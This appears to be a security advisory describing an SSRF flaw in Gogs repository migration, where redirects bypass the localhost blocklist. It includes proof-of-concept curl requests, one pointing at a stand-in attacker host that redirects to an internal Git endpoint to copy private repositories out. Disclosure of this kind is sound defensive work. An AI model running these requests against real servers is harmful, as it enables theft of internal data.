A Server-Side Request Forgery (SSRF) vulnerability exists in the repository migration functionality. The application validates only the initially submitted URL hostname, but git clone --mirror follows HTTP redirects. An authenticated user can submit a public URL that redirects to a blocked internal endpoint (e.g., 127.0.0.1), importing the internal repository's contents into an attacker-controlled repository.
The vulnerability is located in internal/form/repo.go. ParseRemoteAddr() validates the clone address hostname against a blocklist of local and private-network addresses. However, the actual migration is performed by git clone --mirror in internal/database/repo.go, which follows HTTP redirects without revalidation:
http://attacker.example/redirect.git — passes validation (public hostname).302 redirect to http://127.0.0.1:18081/victim/private.git.The root cause is that Gogs validates only the initial URL and does not revalidate the final redirect target.
This vulnerability bypasses the intended localhost/private-network migration restriction. Any authenticated user who can migrate repositories can import contents from internal Git endpoints reachable from the Gogs server. This allows attackers to:
Prerequisites: a Gogs instance, an attacker account that can create repositories.
127.0.0.1:18081.302 redirect to http://127.0.0.1:18081/victim/private.git.Verify the direct localhost URL is blocked:
curl -sS -X POST -H "Authorization: token ${TOKEN}" \
-H "Content-Type: application/json" \
--data '{"clone_addr":"http://127.0.0.1:18081/victim/private.git","uid":2,"repo_name":"blocked"}' \
"${GOGS_URL}/api/v1/repos/migrate"
Result: rejected as blocked local address.
Submit a public-looking URL that redirects to the blocked endpoint:
curl -sS -X POST -H "Authorization: token ${TOKEN}" \
-H "Content-Type: application/json" \
--data '{"clone_addr":"http://attacker.example/redirect.git","uid":2,"repo_name":"stolen","private":true}' \
"${GOGS_URL}/api/v1/repos/migrate"
Result: migration succeeds. The new repository contains the internal repository's contents.
{
"github_reviewed_at": "2026-06-23T17:01:35Z",
"severity": "HIGH",
"cwe_ids": [],
"nvd_published_at": null,
"github_reviewed": true
}